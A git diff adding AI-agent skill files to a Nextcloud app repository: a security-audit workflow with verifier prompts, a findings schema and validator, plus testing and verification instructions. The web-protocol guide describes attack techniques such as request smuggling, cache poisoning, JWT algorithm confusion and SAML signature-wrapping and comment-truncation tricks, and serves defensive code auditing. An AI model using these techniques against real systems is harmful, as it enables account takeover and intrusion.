**Parser/runtime behavior test**: If the exploit depends on how a parser or runtime handles specific input, verify against the actual spec or implementation — do not reason from intuition. + +Tell each validation agent: + +``` +Your job is to DISPROVE this finding. Read the actual source code at every step. If you cannot disprove it, confirm it with the exact code that makes it exploitable. Return one of: +- "CONFIRMED: [explanation of why it's real, with code evidence]" +- "REJECTED: [explanation of what the finding got wrong, with code evidence]" +``` + +**Kill false positives aggressively, but don't kill real findings.** A short report with 3 real findings is worth more than a long report with 30 theoretical ones. An honest "nothing found" is valid — but push hard before reaching that conclusion. + +### Phase 4: Report + +Write the report to the output directory established in Setup. + +**Output files:** + +1. `REPORT.md` -- Main report with: + - One-paragraph executive summary (honest assessment of security posture) + - Identified baseline and how this application compares + - Findings table (severity, title, one-line description) + - Each finding with: file path, concrete attack scenario, impact, recommended fix + - Hardening notes section (defense-in-depth suggestions, NOT findings) + - Positive patterns section (what the codebase does well -- this calibrates trust in the audit) + +2. `FINDINGS-DETAIL.md` -- For each finding rated MEDIUM or above: + - Complete data flow from input to sink with file:line references + - Exact HTTP request(s) to trigger + - What the attacker gets + - How the baseline comparable handles the same scenario + +Keep it short. If the report is longer than the codebase deserves, you're padding. + +### Phase 5: Structured output and schema check + +For every finding that survived Phase 3 validation, produce a structured JSON object conforming to the schema defined in `report-schema.json` (in the same directory as this skill file — read it via the Read tool before writing output). Write the result to `<output-dir>/findings.json`. + +The schema supports two verdict types via `oneOf`: +- **`confirmed`** — a validated vulnerability with full trace, execution, and remediation +- **`rejected`** — a finding that was investigated and determined to be factually incorrect + +**Before writing `findings.json`:** + +1. Read `report-schema.json` from this skill's directory. Follow it exactly — `additionalProperties: false` is enforced, so extra fields will make the output invalid. +2. For each finding, populate every required field. If you cannot fill `trace` with real file paths and line numbers verified against the source, the finding is not sufficiently verified — go back and verify it or reject it. Mind the required fields that aren't self-evident: `intended_behavior` (what the code is *supposed* to do, so the defect is legible), `confidence` (`low`/`medium`/`high`, with a reason), and the `severity` object (`likelihood`/`impact`/`overall_severity`). All `severity` scores use the schema's **lowercase** enum — `informational`/`low`/`medium`/`high`/`critical`; the UPPERCASE tiers in SKILL.md and REPORT.md are prose labels, not valid JSON values. +3. Run `node <skill-dir>/validate-findings.cjs <output-dir>/findings.json` to validate. It checks required fields, enum values, structural constraints, and `additionalProperties`. This is a structural check only — it confirms the JSON conforms to the schema, not that the findings are correct. Factual verification is Phase 6's job. Fix any failures before proceeding. + +### Phase 6: Independent verification + +The structured output from Phase 5 forces self-validation, but the same agent that wrote the finding also wrote the JSON — it won't catch its own blind spots. This phase uses a fresh agent to independently verify every claim in `findings.json`. + +Launch **one `research` agent per confirmed finding** via the Task tool, all in parallel. Each agent gets exactly one finding from `findings.json` and verifies it independently. Give each agent the JSON object for its finding and this prompt: + +``` +You are an independent verifier. You did NOT write this finding. Your job is to read the actual source code and verify that every factual claim is correct. + +1. Read the file and line number cited in EVERY trace step. Verify: + - The file exists at that path + - The line number matches the described code + - The scope (function name) is correct + - The description accurately reflects what the code does + +2. Verify the root_cause statement by reading the cited file and confirming the described defect exists. + +3. Verify the execution payloads would actually work, in terms that fit the target: + - Does the entry point exist as claimed — the endpoint/URL, CLI command, exported function, syscall/ioctl, message handler, or tool the attacker invokes? + - Does the invocation match — HTTP method, argument shape, call signature, or message format? + - Would the input survive validation and parsing on the real code path? + - Would the relevant authentication, authorization, or ownership check pass as described? + +4. Verify conditions are complete — are there prerequisites the finding missed? + +5. Check the remediation code_changes — would the fix actually prevent the attack without breaking normal functionality? + +6. Verify `intended_behavior` accurately states what the code should do, and that `confidence` matches the strength of the evidence — don't leave `high` on a claim you couldn't fully trace. + +Return one of: +- "VERIFIED" — all claims checked out against the source +- "CORRECTED: [field]: [what was wrong] → [what it should be]" — factual error in a specific field +- "REJECTED: [reason]" — the finding is fundamentally wrong +``` + +Apply the agent's corrections: +- **VERIFIED** findings: no changes needed +- **CORRECTED** findings: update the specific fields in `findings.json`, re-run the schema validation script +- **REJECTED** findings: change their `verdict` to `"rejected"` with the agent's reason, or remove them entirely + +After applying corrections, reconcile the prose deliverables: update `REPORT.md` and `FINDINGS-DETAIL.md` so they match the final `findings.json`. Remove or amend any finding the verification gate rejected or corrected — the human-readable report and the machine-readable output must not disagree. + +This is the final quality gate. Do not skip it. diff --git a/.agents/skills/security-audit/WEB-PROTOCOL-AND-AUTH.md b/.agents/skills/security-audit/WEB-PROTOCOL-AND-AUTH.md new file mode 100644 index 0000000..0294c3e --- /dev/null +++ b/.agents/skills/security-audit/WEB-PROTOCOL-AND-AUTH.md @@ -0,0 +1,85 @@ +# HTTP-Protocol and Authentication Hunting + +#### When to use this file + +Reach for this file when the target speaks HTTP at a layer where parsing, caching, or identity decisions happen: reverse proxies, CDNs, API gateways, load balancers, custom HTTP servers and parsers, and any app that builds responses or URLs from request metadata — and whenever it implements or consumes an auth protocol (sessions, JWTs, OAuth/OIDC, SAML, or password-reset flows). These are the classes `ATTACK-CLASSES.md` treats only in passing: the injection class covers *content*, but not the request/response framing or the identity-token machinery, which have their own specific, high-hit-rate bug patterns. + +Use alongside `ATTACK-CLASSES.md`. Access control there answers "is the check present and correct"; this file answers "can the attacker forge, replay, or confuse the identity the check runs on, or desync the request the check applies to." + +Pick the relevant classes based on Phase 1; split per subsystem (framing/proxy layer, token verification, session store) for large targets. A pure single-server app behind a managed CDN has little smuggling surface; a custom proxy or a service that trusts `X-Forwarded-*` has a lot. + +## Core discipline (include in every agent prompt for this domain) + +``` +- Framing bugs live in DISAGREEMENT, not in one parser. Request smuggling and cache poisoning exist because two components interpret the same bytes differently. Find the two components and the byte they disagree on; a single correct parser in isolation is not the finding. +- A signature you don't verify is decoration. For every token (JWT, SAML, cookie), find the exact line that verifies the signature AND the claims that apply to that token type (for JWT/OIDC: exp, aud, iss, nonce) — and that the algorithm is pinned server-side, not read from the token header. "It's signed" means nothing if nothing checks the signature with the right key and algorithm. +- Every use of Host, X-Forwarded-*, Forwarded, or a request-derived URL is a trust decision. Trace it to what it controls: a reset link, a cache key, a redirect, an access check. +- Reflected input in a security-relevant response field (Set-Cookie, Location, cache key, an absolute URL sent to a victim) — trace it to a cross-user impact (poisoned cache entry, redirect or token sent to a victim, cookie set in another context) even when it isn't classic XSS. +``` + +## HTTP request-framing attack classes (subagent_type: `general`) + +**Request smuggling / desync** +A discrepancy in how two components (front proxy vs back-end, or HTTP/2 front vs HTTP/1.1 back) resolve message length. Classic forms: CL.TE, TE.CL, TE.TE (obfuscated `Transfer-Encoding`), and H2 downgrade (H2.CL / H2.TE) where an HTTP/2 front-end forwards to an HTTP/1.1 back-end and the injected `Content-Length`/`Transfer-Encoding` or CRLF in a header value survives. Audit angle: any component that parses HTTP messages itself, forwards requests, or normalizes headers. Look for lenient length handling (accepting both CL and TE, tolerating whitespace/casing/duplicates in `Transfer-Encoding`), and CRLF-in-header-value passthrough on the HTTP/2→1.1 hop. The prize is a request prefix that gets glued onto the *next* user's request. + +**Web cache poisoning (unkeyed input)** +An input influences the response but is not part of the cache key, so the attacker's response is stored and served to others. Find the cache key construction, then find every input that changes the response body/headers but is absent from that key — `X-Forwarded-Host`, `X-Forwarded-Scheme`, custom headers, cookies stripped from the key, or a query param the key normalizes away. Reflected unkeyed input that lands in the cached body (a poisoned script src, an `<base href>` from `X-Forwarded-Host`) is stored XSS against every cache consumer. + +**Cache deception** +Path/extension confusion that makes a dynamic, per-user page get cached as if it were a static asset (`/account/profile.css`, `/api/me;.js`, path-parameter tricks). The back-end serves the user's private page; the cache stores it under a path the attacker can then request. Trace how the cache decides "is this cacheable" versus how the app routes the path — the gap is the bug. + +**Host-header and forwarded-header trust** +`Host` / `X-Forwarded-Host` used to build absolute URLs, routing, or cache keys. The highest-impact sink is password-reset / verification link construction: attacker sets the header, the victim receives a link to the attacker's domain, clicks, and leaks the token. Also: authentication or routing decisions keyed on a spoofable forwarded header. + +**CRLF / response header injection** +User input reflected into a response header (`Location`, `Set-Cookie`, custom headers) with unescaped CR/LF, letting the attacker inject headers or split the response. Trace user input into any header-setting call; confirm the framework doesn't already strip CR/LF (many do — verify first, see #5). + +## Authentication-protocol attack classes (subagent_type: `general`) + +First establish which role the target plays — it determines whose duty each control is. `redirect_uri` allowlisting, PKCE enforcement, authorization-code issuance, and assertion signing belong to the **authorization server / IdP**; a **relying-party client** legitimately sends its own `redirect_uri` and consumes tokens, so do not report "no `redirect_uri` allowlist" or "issues codes without PKCE" against a client. Token *verification* defects (below) apply to whichever side validates the token. + +**JWT verification defects** +The densest source of auth bypasses. Check, in the verification code: +- **`alg` confusion** — `alg: none` accepted, or RS256→HS256 where the server verifies an attacker-forged HS256 token using the *public* key as the HMAC secret. Find where the algorithm is chosen: is it taken from the token header (attacker-controlled) or pinned server-side? +- **Decode without verify** — code that reads claims from a decoded token but never calls the verify function, or ignores its return/exception. +- **Missing claim checks** — `exp` (expiry), `nbf`, `aud` (audience — token for service A replayed at service B), `iss` (issuer). A signature check without claim checks is half a check. +- **Key-selection injection** — `kid`, `jku`, or `x5u` header taken from the token: `kid` used in a file path (traversal) or SQL (injection) to fetch the key, or `jku` pointing at an attacker-hosted JWK Set / `x5u` at an attacker-hosted X.509 cert chain. Attacker names the key that verifies their own forgery. +- **Weak/shared secret** — HMAC secret that's a guessable string or shared across trust domains. + +**OAuth / OIDC flow defects** +- **`redirect_uri` validation** — substring/prefix matching, open-redirect on an allowlisted host, or `redirect_uri` not bound to the client. Leaks the authorization code to the attacker. +- **Missing/weak `state`** — no CSRF token on the callback → login CSRF / forced-login / session fixation of the OAuth flow. (`state` is a session-binding/CSRF control; authorization-code injection is prevented by PKCE and the OIDC `nonce`, not by `state` — don't conflate them.) Confirm `state` is generated, bound to the session, and verified on return. +- **PKCE** — missing on public clients, or `code_verifier` not actually checked against `code_challenge`. +- **`id_token` validation** — audience, issuer, signature, and `nonce` all verified? A token minted for another client accepted here is account takeover. +- **Mix-up / IdP confusion** — multi-IdP flows where the response isn't bound to the IdP the request went to. + +**SAML assertion defects** +- **Signature wrapping (XSW)** — a signed assertion plus an injected unsigned one; the verifier checks the signature on one element but reads identity from another. Find the gap between "what is signature-verified" and "what is read as the authenticated identity." +- **Signature exclusion** — unsigned assertions accepted, or signature verification skippable via a flag/empty-signature path. +- **XXE / DTD** in the XML parser processing assertions. +- **Comment truncation** — a comment inserted into the signed NameID (`admin@company.com<!---->.attacker.com`) that canonicalization strips before the signature check (so it still validates) but that truncates identity extraction to the pre-comment text (`admin@company.com`, the victim). Same root as XSW: the bytes the signature covers ≠ the bytes read as identity. +- **Missing replay / binding checks** — even with a valid signature, is the assertion bound and fresh? Check `NotBefore`/`NotOnOrAfter` (validity window), `Recipient`/`Audience` (assertion minted for *this* SP, not replayed from another), `InResponseTo` (bound to a real outstanding request — blocks unsolicited-response injection), and one-time-use (a replayed assertion rejected). The signature checks above prove the assertion wasn't forged; these prove it wasn't stolen and replayed. + +**Session-management defects** +- **Fixation** — session identifier not rotated on privilege change (login, step-up auth). Attacker fixes a known ID, victim authenticates into it. +- **Weak invalidation** — session/token still valid after logout, password change, or revocation; server-side state not cleared (especially stateless JWT sessions with no revocation list). +- **Predictable identifiers** (non-CSPRNG session IDs an attacker can guess/derive), or an overly broad cookie `Domain` that leaks the session cookie to an attacker-controlled sibling subdomain. (Bare "cookie could be shorter-lived" with no leakage path is a hardening note, not a finding.) + +**Password-reset / account-recovery defects** +- Token not cryptographically bound to the user (reset A's token, use it on B), predictable/short token, no single-use or expiry, token leaked via `Host` header (see above) or `Referer`, or a race that mints multiple valid tokens. Recovery flows are frequently the weakest path to the strongest impact (account takeover). + +## Universal moves (apply across the above) + +- **Diff duplicated request paths side by side.** Where the code has more than one thing that parses or forwards HTTP (a middleware plus the framework, a normalizer plus the router, a legacy API version plus the current one), read them together and feed each the same ambiguous bytes on paper. Divergence is the smuggling/desync bug. +- **Walk the whole token lifecycle.** Issue → store → transmit → verify → refresh → revoke. The bugs live in the transitions the happy path skips: a session still valid after logout, a refresh that never re-checks revocation, a reset token that survives a password change. +- **Enumerate every door to the same identity.** SSO, password login, API key, password reset, impersonation — each is a parallel path that mints a session. The weakest one sets the account's real security; a hardened login means nothing if reset is trivial. +- **Audit the compat/fallback path.** A legacy endpoint version, a deprecated header, or a "for old clients" branch that skips a guard the main path added. Old auth code is where the reverted or forgotten check hides. + +## Validation rules (apply before reporting ANY finding here) + +1. **Source-visibility gate — this domain lives partly outside the repo.** Framing bugs (proxy chain), cache poisoning/deception (cache-key config), secret strength, and token entropy frequently depend on components, config, or values NOT in the audited tree. If confirming the bug requires a component/config/secret you cannot read, it is **unverifiable from source: flag it "requires deployment testing" and do NOT report it as a confirmed finding.** "Downgrade" is not enough — an unconfirmable HIGH reported as a MEDIUM is still a false positive. +2. **For framing/cache findings, name both components and the divergent parse.** "The Go net/http back-end accepts a bare-LF `Transfer-Encoding` that the front proxy treats as CL" — not "smuggling may be possible." A single server with no proxy in front has no smuggling surface. If you've confirmed only the in-repo half (the back-end genuinely mishandles a specific ambiguous input — bare-LF `Transfer-Encoding`, duplicate CL), record it as a lead with the exact bytes — "requires paired front-end testing" — a real observation, not a severity-rated finding. +3. **For token findings, cite the verification line and what it fails to check.** Point at the `verify`/`decode` call and the missing `alg` pin / `aud` check / signature step. A forged-token claim requires showing the server would accept the forgery, not just that JWTs are in use. Establish the client-vs-server role first — don't fault a client for controls the server owns. +4. **Prove the cross-user impact.** Show the payload reaching a victim's response (cache), request (smuggling), session (fixation), or inbox (reset link). Attacker-only effects are not findings: a `Host` header reflected into a self-referential link the victim never receives out-of-band is a hardening note; a `Host` header controlling a reset link emailed to the victim is a finding. +5. **Verify the framework AND the library default don't already handle it.** Many stacks strip CR/LF from headers, rotate sessions on login, and key caches on `Host` by default; JWT libraries increasingly reject `alg:none` and require an explicit algorithm list — check the library and version, and if you cannot determine the default, treat it as unverifiable rather than assuming it's vulnerable. Only report secret/RNG weakness when the code itself sets a hardcoded/short/derivable value or uses a non-CSPRNG. Confirm the specific defense is absent — do not report a gap the framework or library already closes. +6. **Return ONLY confirmed findings** with the divergent parse or the skipped verification step and the cross-user impact — or "No exploitable protocol/auth issues found" if that's honest. diff --git a/.agents/skills/security-audit/report-schema.json b/.agents/skills/security-audit/report-schema.json new file mode 100644 index 0000000..83039c4 --- /dev/null +++ b/.agents/skills/security-audit/report-schema.json @@ -0,0 +1,210 @@ +{ + "$comment": "Single source of truth for findings.json structure (see SKILL.md Phase 5). validate-findings.cjs reads this file directly and interprets it — there is no second copy of these rules to keep in sync.", + "output_schema": { + "oneOf": [ + { + "type": "object", + "description": "Confirmed vulnerability — provide the complete, independently verified report.", + "properties": { + "verdict": { + "type": "string", + "const": "confirmed" + }, + "title": { + "type": "string", + "description": "A concise, standard title for the vulnerability." + }, + "description": { + "type": "string", + "description": "Comprehensive explanation of the vulnerability. Include any reproduction details (proof-of-concept input, configuration, observed output or crash) here." + }, + "root_cause": { + "type": "string", + "description": "One sentence using the template: '[function_or_component] in [file] does not [missing action], allowing [consequence]'. MUST include the function/component name and file name where the defect exists." + }, + "intended_behavior": { + "type": "string", + "description": "What was the developer trying to build? Explain the intended, non-vulnerable business logic." + }, + "trace": { + "type": "array", + "minItems": 2, + "items": { + "type": "object", + "properties": { + "kind": { + "type": "string", + "enum": ["entrypoint", "propagation", "sink"] + }, + "file": { + "type": "string", + "description": "Exact file path relative to repository root." + }, + "line": { + "type": "integer" + }, + "scope": { + "type": "string", + "description": "Bare function or method name. No parentheses, no arguments." + }, + "description": { + "type": "string", + "description": "Factual description of the state change or data movement." + } + }, + "required": ["kind", "file", "line", "scope", "description"], + "additionalProperties": false + }, + "description": "Sequential code trace from entrypoint to sink, verified against actual source code. The first step must be kind 'entrypoint', the last must be kind 'sink', and any intermediate steps must be kind 'propagation' (enforced by the validator)." + }, + "conditions": { + "type": "array", + "items": { + "type": "object", + "properties": { + "kind": { + "type": "string", + "enum": ["authentication_level", "authorization_role", "user_interaction", "system_configuration", "network_routing", "environmental_dependency", "data_state", "timing_dependency", "third_party_dependency"] + }, + "description": { + "type": "string" + } + }, + "required": ["kind", "description"], + "additionalProperties": false + }, + "description": "Factual prerequisites for exploitation. Empty array if exploitable by default." + }, + "execution": { + "type": "object", + "properties": { + "attacker_perspective": { + "type": "string", + "description": "Who is the attacker and their starting point." + }, + "payloads": { + "type": "array", + "items": { + "type": "string" + }, + "description": "Specific malicious inputs, HTTP requests, or scripts." + }, + "instructions": { + "type": "array", + "items": { + "type": "string" + }, + "description": "Linear array of all attacker actions from setup through exploitation." + }, + "expected_result": { + "type": "string", + "description": "Observable outcome confirming successful exploitation." + } + }, + "required": ["attacker_perspective", "payloads", "instructions", "expected_result"], + "additionalProperties": false + }, + "remediation": { + "type": "object", + "properties": { + "strategy": { + "type": "string", + "description": "High-level explanation of the fix." + }, + "code_changes": { + "type": "array", + "items": { + "type": "object", + "properties": { + "file_name": { + "type": "string" + }, + "fixed_code": { + "type": "string" + } + }, + "required": ["file_name", "fixed_code"], + "additionalProperties": false + } + } + }, + "required": ["strategy"], + "additionalProperties": false + }, + "severity": { + "type": "object", + "properties": { + "likelihood": { + "type": "object", + "properties": { + "score": { + "type": "string", + "enum": ["informational", "low", "medium", "high", "critical"] + }, + "reason": { + "type": "string" + } + }, + "required": ["score", "reason"], + "additionalProperties": false + }, + "impact": { + "type": "object", + "properties": { + "score": { + "type": "string", + "enum": ["informational", "low", "medium", "high", "critical"] + }, + "reason": { + "type": "string" + } + }, + "required": ["score", "reason"], + "additionalProperties": false + }, + "overall_severity": { + "type": "string", + "enum": ["informational", "low", "medium", "high", "critical"] + } + }, + "required": ["likelihood", "impact", "overall_severity"], + "additionalProperties": false + }, + "confidence": { + "type": "object", + "properties": { + "score": { + "type": "string", + "enum": ["low", "medium", "high"] + }, + "reason": { + "type": "string", + "description": "Why you scored the confidence this way. Mention any missing files, complex routing, or ambiguous data flows." + } + }, + "required": ["score", "reason"], + "additionalProperties": false + } + }, + "required": ["verdict", "title", "description", "root_cause", "intended_behavior", "trace", "conditions", "execution", "remediation", "severity", "confidence"], + "additionalProperties": false + }, + { + "type": "object", + "description": "Rejected finding — the described behavior is factually incorrect or the code path does not exist.", + "properties": { + "verdict": { + "type": "string", + "const": "rejected" + }, + "reason": { + "type": "string", + "description": "Explain which specific claims in the finding are factually wrong (e.g., code path doesn't exist, mitigation prevents the described flow, trace is incorrect)." + } + }, + "required": ["verdict", "reason"], + "additionalProperties": false + } + ] + } +} diff --git a/.agents/skills/security-audit/validate-findings.cjs b/.agents/skills/security-audit/validate-findings.cjs new file mode 100644 index 0000000..9e9e38a --- /dev/null +++ b/.agents/skills/security-audit/validate-findings.cjs @@ -0,0 +1,201 @@ +#!/usr/bin/env node + +/** + * Validates findings.json against report-schema.json. + * Usage: node validate-findings.cjs <path-to-findings.json> + * + * The validation rules live in report-schema.json — the single source of truth. + * This script reads that schema at runtime and interprets the subset of JSON + * Schema it uses: type (object|array|string|integer), properties, required, + * additionalProperties:false, enum, const, items, minItems, and oneOf. + * + * Some constraints can't be expressed in that subset (a confirmed trace must + * start at an "entrypoint", end at a "sink", and only use "propagation" for + * intermediate steps). They're applied as an explicit, clearly-labelled + * semantic layer after schema validation. + * + * Zero dependencies. Exits 0 on success, 1 on validation failure. + */ + +const fs = require("fs"); +const path = require("path"); + +const file = process.argv[2]; +if (!file) { + console.error("Usage: node validate-findings.cjs <path-to-findings.json>"); + process.exit(1); +} + +const schemaPath = path.join(__dirname, "report-schema.json"); +let itemSchema; +try { + const doc = JSON.parse(fs.readFileSync(schemaPath, "utf8")); + itemSchema = doc.output_schema; + if (!itemSchema) throw new Error('report-schema.json is missing top-level "output_schema"'); +} catch (e) { + console.error(`Failed to load schema from ${schemaPath}:`, e.message); + process.exit(1); +} + +let findings; +try { + findings = JSON.parse(fs.readFileSync(file, "utf8")); +} catch (e) { + console.error("Failed to parse JSON:", e.message); + process.exit(1); +} + +if (!Array.isArray(findings)) { + console.error("findings.json must be an array"); + process.exit(1); +} + +// --- Generic JSON Schema interpreter (the subset used by report-schema.json) --- + +function typeOf(v) { + if (Array.isArray(v)) return "array"; + if (v === null) return "null"; + return typeof v; // "object" | "string" | "number" | "boolean" +} + +// For oneOf: find a property defined with a `const` so error messages can point +// at the intended branch (e.g. discriminate confirmed vs rejected by "verdict"). +function findDiscriminator(schema) { + if (!schema.properties) return null; + for (const [key, sub] of Object.entries(schema.properties)) { + if (sub && Object.prototype.hasOwnProperty.call(sub, "const")) { + return { key, value: sub.const }; + } + } + return null; +} + +function validate(value, schema, p, errors) { + if (schema.oneOf) { + // Prefer the branch whose const discriminator matches, so the caller sees + // detailed errors for the branch they clearly intended. + for (const branch of schema.oneOf) { + const disc = findDiscriminator(branch); + if (disc && value && typeof value === "object" && value[disc.key] === disc.value) { + validate(value, branch, p, errors); + return; + } + } + // No discriminator matched. If every branch is discriminated by the same + // key, report the bad discriminator value clearly. + const discs = schema.oneOf.map(findDiscriminator).filter(Boolean); + if (discs.length === schema.oneOf.length && value && typeof value === "object") { + const key = discs[0].key; + const allowed = discs.map((d) => JSON.stringify(d.value)).join(", "); + errors.push(`${p}: "${key}" must be one of ${allowed}, got ${JSON.stringify(value[key])}`); + return; + } + const passing = schema.oneOf.filter((b) => collect(value, b, p).length === 0); + if (passing.length !== 1) { + errors.push(`${p}: does not match exactly one of the allowed schemas`); + } + return; + } + + if (Object.prototype.hasOwnProperty.call(schema, "const") && value !== schema.const) { + errors.push(`${p}: must equal ${JSON.stringify(schema.const)}, got ${JSON.stringify(value)}`); + } + + if (schema.enum && !schema.enum.includes(value)) { + const allowed = schema.enum.map((v) => JSON.stringify(v)).join(", "); + errors.push(`${p}: invalid value ${JSON.stringify(value)} (expected one of ${allowed})`); + } + + switch (schema.type) { + case "object": { + if (typeOf(value) !== "object") { + errors.push(`${p}: expected object, got ${typeOf(value)}`); + return; + } + for (const req of schema.required || []) { + if (!(req in value)) errors.push(`${p}: missing required field "${req}"`); + } + for (const key of Object.keys(value)) { + if (schema.properties && key in schema.properties) { + validate(value[key], schema.properties[key], `${p}.${key}`, errors); + } else if (schema.additionalProperties === false) { + errors.push(`${p}: unexpected field "${key}"`); + } + } + break; + } + case "array": { + if (typeOf(value) !== "array") { + errors.push(`${p}: expected array, got ${typeOf(value)}`); + return; + } + if (typeof schema.minItems === "number" && value.length < schema.minItems) { + errors.push(`${p}: must have at least ${schema.minItems} item(s), got ${value.length}`); + } + if (schema.items) { + value.forEach((el, i) => validate(el, schema.items, `${p}[${i}]`, errors)); + } + break; + } + case "integer": { + if (typeOf(value) !== "number" || !Number.isInteger(value)) { + errors.push(`${p}: expected integer, got ${typeOf(value)}`); + } + break; + } + case "string": { + if (typeOf(value) !== "string") { + errors.push(`${p}: expected string, got ${typeOf(value)}`); + } + break; + } + default: + break; // no type constraint at this node + } +} + +function collect(value, schema, p) { + const errors = []; + validate(value, schema, p, errors); + return errors; +} + +// --- Run ---------------------------------------------------------------------- + +let errorCount = 0; + +findings.forEach((f, i) => { + const label = `[${i}] ${(f && (f.title || f.reason)) || "(untitled)"}`; + console.log(`Checking ${label}`); + + const errs = collect(f, itemSchema, `[${i}]`); + + // Semantic layer — constraints the schema subset can't express: + // a confirmed trace must be one entrypoint, zero or more propagation steps, + // then one sink. + if (f && f.verdict === "confirmed" && Array.isArray(f.trace) && f.trace.length > 0) { + if (f.trace[0] && f.trace[0].kind !== "entrypoint") { + errs.push(`[${i}].trace[0].kind must be "entrypoint", got ${JSON.stringify(f.trace[0].kind)}`); + } + const last = f.trace.length - 1; + if (f.trace[last] && f.trace[last].kind !== "sink") { + errs.push(`[${i}].trace[${last}].kind must be "sink", got ${JSON.stringify(f.trace[last].kind)}`); + } + for (let j = 1; j < last; j++) { + if (f.trace[j] && f.trace[j].kind !== "propagation") { + errs.push(`[${i}].trace[${j}].kind must be "propagation", got ${JSON.stringify(f.trace[j].kind)}`); + } + } + } + + for (const msg of errs) console.error(" ERROR:", msg); + errorCount += errs.length; +}); + +console.log(); +if (errorCount === 0) { + console.log(`PASS: ${findings.length} findings valid`); +} else { + console.error(`FAIL: ${errorCount} error(s) across ${findings.length} findings`); + process.exit(1); +} diff --git a/.agents/skills/testing/SKILL.md b/.agents/skills/testing/SKILL.md new file mode 100644 index 0000000..7ef1cf0 --- /dev/null +++ b/.agents/skills/testing/SKILL.md @@ -0,0 +1,78 @@ +--- +name: testing +description: "Use when adding or fixing tests: the Vitest and PHPUnit split, why both suites run without a Nextcloud installation, what the fixtures are for, and what these tests structurally cannot prove." +compatibility: "Vitest for tests/js/**/*.test.ts, PHPUnit for tests/Unit/**/*.php. No database, no web server, no Nextcloud runtime." +--- + +# Testing this app + +## When to use + +Before adding a test, before changing `tests/phpunit.xml` or the bootstraps, and +when a test passes locally but you are unsure it proves anything. + +## The split + +| Suite | Location | Runner | +|---|---|---| +| Frontend | `tests/js/**/*.test.ts` | Vitest — `npm test` | +| Backend | `tests/Unit/**/*.php` | PHPUnit — `vendor/bin/phpunit --configuration tests/phpunit.xml` | +| Tooling | `tools/*_test.py` | `make architecture-test` | + +Never swap them. Keep both fast and pure; integration against a real Nextcloud +belongs in CI, not in these suites. + +## Why they run without Nextcloud + +`tests/bootstrap.php` and `tests/bootstrap-standalone.php` exist so the PHP suite +can run with no Nextcloud, no database and no web server. That is what makes the +suite fast and what makes it runnable in a plain container. + +It is also the limitation. **These tests cannot tell you** that a route name +matches its controller method, that the container can resolve a service, that the +preview provider is registered, or that an OCP method exists in the target +Nextcloud version. If your change touches routing, DI or registration, say so +explicitly rather than presenting a green suite as proof. + +The corollary for design: put logic in services that take their collaborators as +constructor arguments. A service you can instantiate with fakes is a service you +can test here. A controller that reaches into the container is not. + +## Fixtures + +`tests/fixtures/` holds real packages: + +- `propiedades.elpx` +- `un-contenido-de-ejemplo-para-probar-estilos-y-catalogacion.elpx` +- `old_elp_modelocrea.elp` — the legacy format + +Use them for round-trip and parsing behaviour. Do **not** regenerate or rewrite +them to make a test pass: they are evidence of what real content looks like, and +editing one converts a failing test into a false green. If a fixture genuinely +needs to change, say why in the PR. + +## What to test, concretely + +The pure modules are the ones worth heavy coverage, and they already have tests: +`asset-map`, `files-mime`, `iframe-renderer`, `package-validator`, `paths`, +`zip-reader` on the TS side; `ZipEntryService` and the app constants on the PHP +side. + +**Entry-path normalization deserves paired tests.** There are three +implementations and they do not currently agree — see the `elpx-package-safety` +skill. Any case you reason about should become a test on both sides, or the +divergence stays invisible. + +## Before claiming success + +```bash +npm run typecheck +npm test +vendor/bin/phpunit --configuration tests/phpunit.xml +make architecture-check +make architecture-test +``` + +Quote real output. If a command could not run because a dependency is missing in +the environment, say that explicitly — a command you skipped is not a command +that passed. diff --git a/.agents/skills/verify/SKILL.md b/.agents/skills/verify/SKILL.md new file mode 100644 index 0000000..24985d0 --- /dev/null +++ b/.agents/skills/verify/SKILL.md @@ -0,0 +1,33 @@ +--- +name: verify +description: Run the full verification pipeline locally — typecheck, lint, JS and PHP tests, build, and the architecture record check. Use after making changes to confirm they are ready. +--- + +Run these in sequence. **Stop and report the first failure** — do not continue +and do not summarise a run you did not see finish. + +```bash +composer install +npm install +npm run typecheck +npm run lint +npm test +make architecture-check +make architecture-test +npm run build +vendor/bin/phpunit --configuration tests/phpunit.xml +git diff --check +``` + +`make lint` already runs `architecture-check`; the explicit line above is for +when you only want that one check. + +Report: + +- which commands passed, with their real output; +- any failure, with the relevant error text, not a paraphrase; +- explicitly, any command you could **not** run because a dependency is missing + in the environment. + +Never claim "tests pass" without having seen them pass. A command that was +skipped is not a command that succeeded. diff --git a/.claude/skills/architecture-records b/.claude/skills/architecture-records new file mode 120000 index 0000000..ee5d245 --- /dev/null +++ b/.claude/skills/architecture-records @@ -0,0 +1 @@ +../../.agents/skills/architecture-records \ No newline at end of file diff --git a/.claude/skills/elpx-package-safety b/.claude/skills/elpx-package-safety new file mode 120000 index 0000000..6fc1950 --- /dev/null +++ b/.claude/skills/elpx-package-safety @@ -0,0 +1 @@ +../../.agents/skills/elpx-package-safety \ No newline at end of file diff --git a/.claude/skills/nextcloud-app-development b/.claude/skills/nextcloud-app-development new file mode 120000 index 0000000..c32bc1a --- /dev/null +++ b/.claude/skills/nextcloud-app-development @@ -0,0 +1 @@ +../../.agents/skills/nextcloud-app-development \ No newline at end of file diff --git a/.claude/skills/release b/.claude/skills/release new file mode 120000 index 0000000..14f8a38 --- /dev/null +++ b/.claude/skills/release @@ -0,0 +1 @@ +../../.agents/skills/release \ No newline at end of file diff --git a/.claude/skills/security-audit b/.claude/skills/security-audit new file mode 120000 index 0000000..e8c4a08 --- /dev/null +++ b/.claude/skills/security-audit @@ -0,0 +1 @@ +../../.agents/skills/security-audit \ No newline at end of file diff --git a/.claude/skills/testing b/.claude/skills/testing new file mode 120000 index 0000000..0bb67e6 --- /dev/null +++ b/.claude/skills/testing @@ -0,0 +1 @@ +../../.agents/skills/testing \ No newline at end of file diff --git a/.claude/skills/verify b/.claude/skills/verify new file mode 120000 index 0000000..326bc3f --- /dev/null +++ b/.claude/skills/verify @@ -0,0 +1 @@ +../../.agents/skills/verify \ No newline at end of file diff --git a/.distignore b/.distignore index fdc801e..6eea725 100644 --- a/.distignore +++ b/.distignore @@ -81,6 +81,9 @@ exelearning # --- Project documentation (kept in the repo only) ---------------------- AGENTS.md +CLAUDE.md +docs +.agents CHANGELOG.md CONTRIBUTING.md DEVELOPMENT.md diff --git a/.gitattributes b/.gitattributes index fca8f19..4db4560 100644 --- a/.gitattributes +++ b/.gitattributes @@ -14,6 +14,7 @@ *.swp export-ignore .omc export-ignore .claude export-ignore +.agents export-ignore .distignore export-ignore # --- Dependency directories --------------------------------------------- @@ -66,6 